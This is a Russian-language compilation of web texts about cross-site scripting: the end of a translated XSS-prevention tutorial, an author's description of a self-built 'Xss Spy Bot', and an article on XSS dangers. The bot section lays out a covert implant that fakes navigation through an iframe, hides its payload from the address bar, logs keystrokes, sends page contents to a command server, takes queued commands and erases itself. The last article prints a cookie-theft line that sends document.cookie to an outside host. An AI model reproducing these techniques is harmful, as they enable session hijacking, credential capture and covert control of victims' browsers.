Обратите внимание, что всякий раз, когда используется CSP, встроенные ресурсы и eval по умолчанию автоматически запрещены. Использование "unsafe‑inline" и "unsafe‑eval" — единственный способ для их использования.

Пример политики

Content‑Security‑Policy:
script‑src "self" scripts.example.com;
media‑src "none";
img‑src *;
default‑src "self" http://*.example.com

С этим примером политики веб-страница будет иметь следующие ограничения:

• Скрипты могут быть загружены только с хоста на котором находится веб-страница и с этого адреса: scripts.example.com .
• Аудио и видео файлы запрещены к загрузке.
• Файлы изображений могут быть загружены с любого адреса.
• Все остальные ресурсы могут быть загружены только с хоста на котором находится веб-страница и из любого поддомена example.com .

Статус CSP

На июнь 2013 года Политики Безопасности Контента рекомендуются консорциумом W3C . CSP реализуется разработчиками браузеров, но некоторые его части специфичны для разных браузеров. Например, использование HTTP-заголовка может отличаться между браузерами. Перед использованием CSP обратитесь к документации браузеров, которые вы собираетесь поддерживать.

Резюме Резюме: Обзор XSS

• XSS-атака представляет собой инъекцию кода, атака стала возможной благодаря незащищенной обработке пользовательского ввода.
• Успешная XSS-атака позволяет злоумышленнику выполнить вредоносный JavaScript в браузере жертвы.
• Успешная XSS-атака ставит под угрозу безопасность как веб-сайта, так и его пользователей.

Резюме: XSS-атаки

• Существуют три основных типа XSS-атак:
  • Хранимые XSS, где вредоносный ввод берет свое начало из базы данных веб-сайта.
  • Отраженные XSS, где вредоносный ввод берет свое начало от запроса жертвы.
  • XSS-атаки в DOM-модели, где уязвимость эксплуатируется в коде на стороне клиента, а не на стороне сервера.
• Все эти атаки выполняются по-разному, но имеют один и тот же эффект в случае успеха.

Резюме: Предотвращение XSS

• Самый важный способ предотвращения XSS атак, это выполнение безопасной обработки ввода.
  • Кодирование должно выполняться всякий раз, когда включен пользовательский ввод на странице.
  • В некоторых случаях кодирование должно быть заменено или дополнено валидацией.
  • Безопасная обработка ввода должна учитывать в какой контекст страницы вставляется пользовательский ввод.
  • Для того, чтобы предотвратить все виды XSS-атак безопасная обработка ввода должна выполнятся в коде как на стороне клиента, так и на стороне сервера.
• Политики Безопасности Контента (CSP) обеспечивают дополнительный уровень защиты в случае если безопасная обработка ввода содержит ошибку.

Приложение Терминология

Следует отметить, что существует перекрестие в терминологии используемой для описания XSS: XSS-атака в DOM-модели может быть либо хранимой либо отраженной; это не отдельные виды атак. Не существует общепринятой терминологии, которая охватывает все типы XSS без смешивания. Независимо от терминологии используемой для описания XSS, самое главное определить тип атаки, это возможно если знать от куда поступает вредоносный ввод и где находится уязвимость.

Права использования и ссылки

The source code for Excess XSS is available on GitHub .

Excess XSS was created in 2013 as part of the Language-Based Security course at Chalmers University of Technology .

Перевод на русский язык выполнил A888R , оригинальный текст на английском языке: excess-xss.com , замечания, предложения и ошибки в переводе слать сюда .

Всем давно известно, что чаще всего c помощью XSS атакующий пытается отправить Cookie жертвы, прочитать CSRF токены, провести фишинговую атаку (создав фальшивую форму логина), совершить какое-нибудь действие от имени пользователя и некоторые другие близкие по цели атаки (возможно, это не все возможности, но это все наиболее популярные известные мне на данный момент).

Цель этого метода — мониторить страницы от имени пользователя, по которым он переходит на атакуемом сайте, а также мониторить его нажатия клавиш (можно еще движения и клики мышкой, но по мне так это будет лишней, не особо полезной инфой, в большинстве случаев точно).
Теперь по поводу максимальной пользы — я считаю, что алгоритм будет такой:

• читаем и отправляем Cookie;
• читаем и отправляем остальную инфу (IP-адрес, установленные плагины, версия и вид браузера, поддержка flash, поддержка silverlight и пр.) [опционально]
• добываем сведение о внутренней сети, пробиваем роутер [опционально]
• читаем и отправляем разные токены [опционально];
• реализовываем фишинг [опционально];
• делаем что-то «руками»» юзера [опционально];
• продолжаем шпионить за ним и добывать инфу, пока он не закрыл вкладку или не ушел с сайта;

Все опциональные пункты списка имхо должны выполняться в зависимости от ситуации и конкретных приоритетах в целях, которых надо достичь при помощи XSS, они иногда могут мешать друг другу (если попытаться их скомбинировать, точнее выполнить один за другим) и увеличивают вероятности провала эксплуатации XSS.
Но вот первый и последний пункты выполнять стоит всегда, при любом раскладе.Собственно основная часть статьи будет про последний пункт из этого списка.

Подходим к цели.

Начну издалека: через JavaScript есть возможность изменять путь в адресной строке без перезагрузки страницы. Например, если пользователь загрузил страницу по адресу

То в адресной строке содержание станет следующим (без перезагрузки страницы):

http : //site.com/new-url/

Эта возможность, кстати, иногда бывает довольно полезной, когда от пользователей (или более внимательной категории юзеров — админов) надо скрыть быстро почистить URL после того, как он перешел по ссылке, где содержалась Reflected XSS, чтобы он потом, после загрузки страницы, посмотрев в адресную строку, ничего не обнаружил.

http : //site.com/search.php?q=123 document . body . innerHTML += "Hacked" ;

http : //site.com/search.php?q=123 window . history . pushState ("" , "" , "/" ) ; document . body . innerHTML += "Hacked" ;

мы лишим его этой возможности.

Но у этой техники есть еще более интересное и мощное применение. Мы будем имитировать юзеру его пребывание на сайте после перехода по ссылке, на самом деле он будет оставаться на одной странице все время, а в это время будет работать сторонний скрипт, добывающий и отсылающий инфу атакующему. Таким образом,XSS будет работать на протяжении всего времени, пока юзер переходит по ссылка на этом домене .

Обозначаем идею.

Общий принцип работы такой: когда юзер заходит на страницу с XSS, скрипт создает iframe с таким же адресом, как это страница и «прикрепляет» его на первый план, у пользователя создается впечатление, будто страница загрузилась нормально, ведь iframe можно увидеть только в коде страницы.

А вспомогательный скрипт контролирует логику бота-шпиона, то есть следит за тем, когда во фрейме поменяется адрес, чтобы поменять его в адресной строке, если же в новоизмененном адресе фрейма другой домен, то можно открыть его на новой влкадке, или же придется перезагружать страницу, чтобы не спалиться.
Таким образом, чтобы XSS перестала выполняться в данный момент, юзер должен или обновить страницу вручную (если XSS — Reflected и передавалась методом POST, в остальных случаях обновление не спасет, и кстати некоторые браузеры сейчас при обновлении старницы могут опять отправить POST запрос повторно) или закрыть вкладку или перейти на другой домен (хотя в этом случае еще можно избежать потери управления).

Если он переходит в поддомент атакуемого домена, то тут выбор атакующего, то есть XSS будет работать, но есть небольшая вероятность, что юзер просечет несоответствие между адресом. Думаю, что тут по ситуации, например, если атаковался домен google.ru, юзер перешел в облачный файловый сервис гугла, который обычно лежит в поддомене drive.google.ru, то вероятность того, что он заметит подвох при взгляде в адресную строку довольно высока,если он часто пользовался этим сервисом . Иначе можно и рискнуть. Но надо учесть, что читать его данные из фрейма с поддоменом мы уже не сможем, так как Cross Origin Policy не позволит. Зато можем преспокойно полазить по основному домену от его имени в скрытом режиме (нижу будет об этом поподробнее).

Только у данного метода есть ограничения, а именно — он не будет работать, если в ответах веб-сервера сайта есть заголовокX-Frame-Options со значениемDENY . Но лично я такие сайты встречал буквально пару раз, сейчас даже у половиныSAMEORIGIN не выставлен, не говоря уже о полном ограничении черезDENY .

Анализируем идею.

Сейчас многие наверняка вспомнили такую замечательную штуку, какBeEF , в котором есть тоже очень много интересных вещей. Так кстати тоже есть опция форсированного редиректа юзера во фрейме, вот только адрес в адресной строке не изменяется, что может быстро спалить конторку и эта опция немного для других целей служит.
В целом в BeEF’e есть почти все, что необходимо и даже много дополнительных функций, но лично мне хотелось дополнительного функционала, а именно:

• возможность мониторить код страниц, которые доступны атакуемому юзеру в реальном времени;
• возможность смотреть все, что он набирает на том сайте (от логина и пароля, до хоткейев и сообщений), то есть keylogger на JS;
• возможность давать команды на JS своему боту в реальном времени, после просмотра кода полученных страниц;
• возможность оставлять боту команды локально, чтобы он потом их «забирал» и выполнял без прямого нашего участия;
• более маленькая вероятность спалиться боту, или возможность бота «прятаться» от любопытных глаз;

Как было упомянуто выше — решил позаимствовать у BeEF’a классную идею очереди выполнения комманд. Например, были проанализированы страницы, которые скинул бот, когда привелегированный юзер лазил у себя в панеле управления со stored XSS, мы оставляем боту команды — JS-код, типа в следующий раз когда юзер зайдет, нажми эту кнопку, запиши сюда такое значение и тд, когда этот юзер в следующий раз заходит на страницу, бот читает команды и выполняет их, а нам во все не обязательно быть у его штурвала — очень удобно.

В основном такой бот, конечно расчитан для статусных юзеров каких-нибудь сайтов, у которых есть дополнительные «рычаги» управления контентом, другими юзерами и тд. Из запросов по функционалу видно, что без серверной части не обойтись.

Реализуем идею.

Данную часть статьи в принципе можно пропустить, так как она просто описывает процесс реализации нужного бота и некоторые его детали, на случай, если кто-то захочет его переделать или допилить под себя. Хотя у бота в начале кода будут переменные, через которые можно выставить некоторые настройки.
Сначала алгоритм действий бота с момента загрузки:

1) Проверка наличия заголовкаX-Frame-Options:DENY (если есть, то свертываем удочки);
2) Встраивание фрейма и настройка всех компонентов бота;
3) Удаление скрипта и всех следов в HTML-коде;
4) Налаживание контакта с сверверной частью и начало перессылки данными, реагируя на ответы (получая от сервера команды);

Первый пункт сделал не совсем полноценно, то есть бот проверяет только первую страницу и корневую заголовка. Дело в том, что обычно эти заголовки встраиваются веб-сервером и для всех страниц сразу и очень редко, что для отдельной страницы все делается «вручную». Да и этот заголовок сам по себе довольно редок. Ну а по второму и третьему особо говорить нечего, ниже все будет.

Есть относительно важный момент, что перед добавлением кода скрипта бота в своем коде надо избавляться от признаков XSS в адресной строке сразу (от JS кода), так как это уменьшает шансы на обнаружение и самое галвное — предотвращает рекурсию, которая возникает при добавлении во фрейм адреса с тем же XSS кодом, который в свою очередь создает еще один фрейм с собой и тд.

Но на всякий случай в коде бота реализована возможность детекта такой фреймовой рекурсии и предотвращения при первой же попытке добавления фрейма в уже созданный, но лучше не надеятся только на нее, а дополнительно удалять код перед загрузкой кода бота. Хотя я проблем еще не встречал.

Функция проверки обновления фрейма. Перепробовал несколько способов экономно решить эту проблему с помощью вешания обработчиков событий наcontentWindow илиcontentDocument , но ничего не удалось, поэтому пришлось писать функцию, которая чекала бы адрес фрейма и сравнивала его с сохраненным до этого, и на основе этого решала, обновиляется ли фрейм (изменился ли адрес) и потом сама себя рекурсивно вызывала.

Частота таких проверок в секунду регулируется переменнойdelay , которая указана в начале файла кода бота. Но позже, уже написав ее, нашел более эффективное решение — использовать простое решение и повеситьonload на фрейм, так что ту функцию я оставил, но закомментировал, на случай, если она потом окажется более востребованной.

Отправка HTML-кода страницы.

Тут схема довольно простоя — после каждой перезагразуки фрейма (включая перую прогрузку) бот отправляет на сервер весь HTML-код страницы вместе с текущем ее адресом, чтобы потом можно было отличать принадлежность кода к нужным страницам.

На сервере реализована логика складирования страниц — сервер для каждого домена создает папку с названием этого домена и туда сохраняем все данные. Коды страниц сохраняются и постоянно обновляются на актуальные версии, но при этом каждый новый день создается уже новая копия страницы, чтобы можно было при необходимости контролировать историю версий. То есть для/news.php 1 сентября состояние будет обновляться, а уже 2 сентября будет создана ее копия, только актуальная уже на этот день и так с каждым днем заново (если юзер посещает эту страницу каждый день). Название страницы состоит из даты и путя до этой страницы относительно корня сайта (то есть без домена).

Кейлоггер на JavaScript’e.

Идея уже была реализована некоторыми энтузиастами, но для меня их наработки не подходили, хотя бы потому что большинство из них были довольно простыми, то есть детектили код нажатой клавиши и черезString.fromCharCode переводили в символы. Но у такого метода ряд недостатков — управляющие клавиши типа шифта, контрола, пробела и пр, не переводятся ни в какой вид (часто просто в пустой символ), взаимодействие цифро-буквенных клавиш с шифтом некорректно логируется, так как это надо реализовывать программно, а также все нажатые клавиши отображаются в верхнем регистре, что тоже исправлять программно.

В итоге получился кейлоггер, который корректно детектил все клавиши цифр, букв и основных знаков, работая на обоих раскладках, реагирую на шифт и логгируя все основные специальные клавиши. Правда некоторые знаки (в верхней части цифрового ряда, которые печатаются при нажатом шифте и цифре), на некоторых машинах могут отличаться, так как были реализованы по основным стандартом, которые некоторым некоторые компании изменяют.
Каждая порция нажатых символов сохраняется у клиента до тех пор, пока текстовый элемент не потеряет фокус. Далее эта порция отправляется на сервер, где сохраняется в текстовом файле, который также будет создаваться каждый день с новой копией, чтобы не было роста до больших размеров и можно было быстро найти, что юзер набирал в такое время.
По мимо самих клавиш на сервер отправляется с каждой порцией информация об элементе, в котором набирался текст (то есть был ли это, [ или какой-нибудь когда юзер пользовался хоткеями), помимо названия элемента отправляется его основные данные (id, name, class — если они пристутствуют), чтобы его потом можно было легко найти в коде. Ну и конечно же записывается адрес страницы, на которой был набор и примерное время этого набора. В общем информации о стучании юзера по клавиатуре отправляется вполне достаточно для последующего ее разбора.

Командование своим ботом.

Этот процесс может осуществляться атакующим или на стороне, где запущет серверная часть бота или даже удаленно. После запуска серверного скрипта, стартует самописный миниатюрный веб-сервер, который обслуживает запросы бота и его контролера, который работает через веб-интерфейс. То есть после запуска веб-сервер выдает ссылку, зайдя по которой можно начать отдавать команды боту.

Об этой панеле управления. Во-превых, надо было ограничить ее паролем (путь и мало кто будет знать о запущенном сервисе на таком-то порту или об адресе, по которому надо зайти, чтобы этим сервисом воспользоваться), так что при первом заходе сервер запросит пароль, который подается в адресной строке (пример будет указан), подлинник пароля храниться вpassword.txt , который можно поменять. После первого захода веб-сервер даст команду браузеру сохранить пароль в cookie, так что дальше об этом можно не беспокоиться.

На самой странички высылания команд боту находится также информация о состоянии бота — онлайн или оффлайн он на данный момент, и пару настроек, первая из которых — хост, то есть IP-адрес или домен сайта, боту которого будут отправлены команды. Это расчитано на случай, если несколько сайтов будут содержать этого бота, чтобы можно было их идентифицировать. На сервере также для этого случая все данные разделены по папкам с названиями доменов.
Далее идет окно, где писать команды боту на JS, и опция, которыя устанавливает, где будет исполняться этот JS-код, на главном окне, где сидит бот или во фрейме — это сделано для удобстве, на всякий случай.

Если бота онлайн нет, то сервер просто сохраняет команды и позже, когда бот выходит в онлайн, то есть юзер снова посещает страничку с ним или переходит по ссылке атакующего — эти команды будут исполнены.
Это очень удобно, если при первой разведке бот скинул все посещенные юзером страницы (например личного кабинета), изучив код которых мы составили команды на JS, чтобы потом бот щелкнул по нужным нам ссылкам, ввел нужные данные, отобразил нужные картинки и пр, что поможет достичь поставленной цели.

А можно прямо в режиме реального вермени, быстро смотреть содержимое страниц через код и отдавать боту команды, чтобы тот прислал код других страниц, перешел по другому адресу и пр. И все это будет делаться «за ширмой» у юзера, который преспокойно будет серфить по сайту чере фрейм.

Для своего удобства можно формировать наиболее часто используемые инструкции в целые функции на JS, которые потом заносить в исходный файл боты (xsb.js , о файловой структуре еще будет ниже) и использовать. Или использовать уже те из функций, который заложены в бота, правда там только основа и ничего нового нет, но например можно воспользоваться функцией отправки кода страницы в любой момент времени, а не тогда, когда перезагружается фрейм. Можно написать функцию, которая будет открывать передаваемые ей ссылки в новых фреймах на заднем плане, чтобы просматривать содержимое стразу нескольких страничек от имени юзера (и оперировать этим содержимое его виртуальными руками).

Удаление собственного кода.

Ну и последняя возможность реализуется довольно просто (ее можно отключить, задав нужную переменную в файле, они откомментированы). Скрипт, после настройки и вешания всех обработчиков событий, создания всех переменных и функций сам себя удаляет

Ведь все данные уже были загружены в оперативную память через браузер, так что беспокоиться не о чем, но это в теории, может потом и будут какие-то проблемы, которые я не учел, так что я воздал переменну, которой можно отключить эту возможность по необходимости.

После удаления всех скриптов заметить XSS будет крайне сложно, так как наличия фрейма ни говорит об это довольно косвенно, а сам код можно найти разве что в логах истории сетевого трафика браузера (которые не ведуться по умолчению во многих браузерах, если не открыта панель разработчика).

Серверная часть.

Для более простого и удобного способа запуска бота было решено писать свой маленький веб-сервер на сокетах, который бы обслуживал бота, обеспечивал все операции по принятию и размещению присланных данных, передавал бы сообщения между атакующим и ботом и создавал бы атакующему веб-интерфейс для командования.
Писался сервер на питоне, я тарался использовать только стандартные библиотеки, чтобы не надо было ничего устанавливать перед запуском. Также сервер сам правит некоторые данные в скриптах, то есть в JS-скрипте бота не надо устанавливать адрес командующего сервера, веб-сервер сам выставит туда нужный при запуске. В конфигурирвоании сервера есть толкьо один параметр — порт, на котором он запуститься (по умолчанию 8000).
После запуска сервер выдаст все необходимые данные — ссылку на JS-скрипт, которую надо будет подсунуть, ссылку на панель командования, точнее ссылки — на внешний и локальный адреса, для удобства.

Схема работы с ботом.

Запускаем сервер на каком-нибудь невостребованном порту и можно рассылать ссылку со скриптом бота, далее все, кто по ней перейдут будут отсылать вам данные, которые сервер будет сохранять в любое время дня. Потом можно просто их просмотреть, если есть необходимость оставить боту команды и дальше заниматься своими делами.

Файловая структура.

В папке есть следующие файлы:

• xsb.py — основной файл, который реализует серверную часть, для работы бота запускить его, а дальше просто использовать предлагаемую им ссылку;
• xsb.js — здесь храниться JS код бота, ссылку на который выдает сервер, в его начале объявлены конфигурационные переменные, которые можно изменить по своему усмотрению (некоторые, а именно хост и порт сервер выставит потом сам, можно не париться);
• panel.html — отсюда сервер берет код для панели управления ботом, можно подправить интерфейс на свое усмотрение;
• password.txt — тут храниться пароль от панели управления, которые можно поменять;
• savedData — это директория, в которой будут создаваться папки с доменами сайтов, в которые будет сохраняться вся информация.

Еще раз замечу, что в файлеxsb.js можно добавлять свои функции, которые потом вызывать через панель, не расписывая громадные порции кода;

Небольшой анализ итогов.

После написания свое придуманного способа удержания юезра на странице с XSS через фреймы (ну как придуманного — я его лично для себя открыл, вполне возможно, что кто-то еще для себя эту же технику «изобретал» или она вообще уже где-то в паблике светилась, ведь сейчас уже разработать что-то по-настоящему новое довольно сложно, и как правило через какое-то время обнаруживаешь, что «это уже было в Симпсонах») я начал более детально копаться в BeEF’e и читать его wiki. После чего обнаружил, что там была реализована другая техника достижения той же цели — продления времени польователя на странице с исполняемой XSS (которую там именовалиman-in-the-browser ). А реализовывалась так: все ссылки на первоначальной странице изменялись таким образом, что при клике на любую из них скрипт не перезагружал страницу, а через Ajax отправлял запрос на сервер и вставлял полученные в ответе данные, то есть можно сказать искуственно обновлял ее, что было также почти неотличимо от обычного рефреша.

Поэтому мне не первому удалось эту задумку реализовать (пусть даже и способы оказались разными). Но у обоих этих методов есть свои недостатки:

Способ подгрузки через не работает при наличии заголовка в ответеX-Frame-Options:DENY , зато в остальном пашет, как обычное окно браузера;

Способ подругзки через ajax работает всегда, если браузер поддерживает это (сейчас все основные барузеры поддерживают), но при этом с новым стандартом Web 2.0 все больше и больше переходов инициируется кастомными событиями любых элементов через JS. Однажды зашел наGoogle AdWords и решил посмотреть, как там у них HTML и JS взаимодействуют, потому что все мои спайдеры крайне плохо справлялись с созаднием карты этого сервиса. И я тихо охреневал весь вечер, насколько там все не привычно было, когда текстовые элементы являлись и кнопками и свитчерами и слайдерами и чем только не изображались, и на каждом висело где-то по 30 обработчиков разных событий.

То есть на навороченном сайте кнопка перехода (субъективно ссылка) будет реализована через обычный тег , который нагружен стилями и на которого навешано обработчиков событий, один из которых, например,onclick перенаправляет юзера на другую страницу. Также есть стандартные элементы типа [i] или сам и пр., которые тоже фактически являются ссылками на другие страницы, но на которые BeEF реагировать не будет и страница просто не будет обновляться при клике на большинство кнопок и других элементов. Что может побудить пользователя обновить страницу или перезайти «с другой стороны», что убивает нашу активную XSS-сессию.

Для краткости именования файлов назвал его — Xss Spy Bot.

P.S.
Все это дело писалось чуть больше месяца в силу периодической нехватки времени и постоянных отвлекающих факторов. Так же из-за этого и качетсво кода и вероятность нарваться на какой-нибудь баг довольно высока. Так что прошу особо не ругаться, а отписываться, что у кого не так, чтобы можно было это исправить.
Сам я протестировал бота только на 4 машинах, на всех стоял Debian.

В дальних планах на этого бота, если будет мотивация:
— реализовать рендеринг кода страниц, которые бот присылает на сервер, чтобы сразу в браузере открывался и его можно было «щупать», тестить на лету;
— попробоват словить плюшек с технологии WebRTC, то есть найти способы добыть новую информацию, которая чистым JS не вытягивается;
— реализовать общение бота и сервера по протоколу WebSocket поверх HTTP;
— добавить некоторые удобства на панель управления;

Last updated by at Ноябрь 18, 2016 .

Что такое XSS и как от него защитится все уже давно знают, поэтому буду краток. XSS это возможность злоумышленника определенным образом (ссылку на возможные варианты смотрите в конце статьи) интегрировать в страницу сайта-жертвы скрипт, который будет выполнен при ее посещении.

Интересно, что в большинстве случаев, где описывается данная уязвимость, нас пугают следующим кодом:

http://www.site.com/page.php?var=<script>alert("xss");

Как-то не очень страшно:) Чем же действительно может быть опасной данная уязвимость?

Пассивная и активная

Существует два типа XSS уязвимостей - пассивная и активная.

Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.

Пример пассивной уязвимости можно посмотреть в самом начале статьи. Тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке.

Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.

document.getElementsByTagName("form").submit();

Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).

Кража Cookies

Это наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.

var іmg = new Image(); іmg.srс = "http://site/xss.php?" + document.cookie;

Поэтому и ввели доменные ограничения на XMLHttpRequest, но злоумышленнику это не страшно, поскольку есть , , , background:url(); и т.п.

Кража данных из форм

Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.

Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.

DDoS-атака (распределенная атака типа «отказ в обслуживании»)

XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста - много запросов, которые не выдерживает атакуемый сервер.
Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:

Подделка межсайтовых запросов (CSRF/XSRF)

Также имеет косвенное отношение к XSS. Вообще это отдельный тип уязвимости, но часто используется совместно с XSS. Суть заключается в том, что пользователь, авторизированный на неуязвимом сайте, заходит на уязвимый (или специальную страницу злоумышленника), с которого отправляется запрос на совершение определенных действий.

Грубо говоря, в идеале это должно быть так. Пользователь авторизировался в системе платежей. Потом зашел на сайт злоумышленника или сайт с XSS-уязвимостью, с которого отправился запрос на перевод денег на счет злоумышленника.

Поэтому большинство сайтов при совершении определенных действий пользователя (например, смена e-mail) переспрашивают пароль или просят ввести код подтверждения.

XSS-черви

Этот тип атаки появился, наверное, благодаря соцсетям, таким как Вконтакте и Twitter. Суть в том, что нескольким пользователям соцсети посылается ссылка с XSS-уязвимостью, когда они перейдут по ссылке, то интегрированный скрипт рассылает сообщения другим пользователям от их имени и т.д. При этом могут совершаться и другие действия, например отсылка личных данных жертв злоумышленнику.

Безобидный XSS

Интересно, что счетчики по своей сути тоже являются в некотором роде активной XSS-атакой. Ведь на сторонний сервер передаются данные о посетителе, как, например, его IP-адрес, разрешение монитора и т.п. Только код в свою страничку вы интегрируете по собственной воле:) Взгляните, например, на код Google Analytic.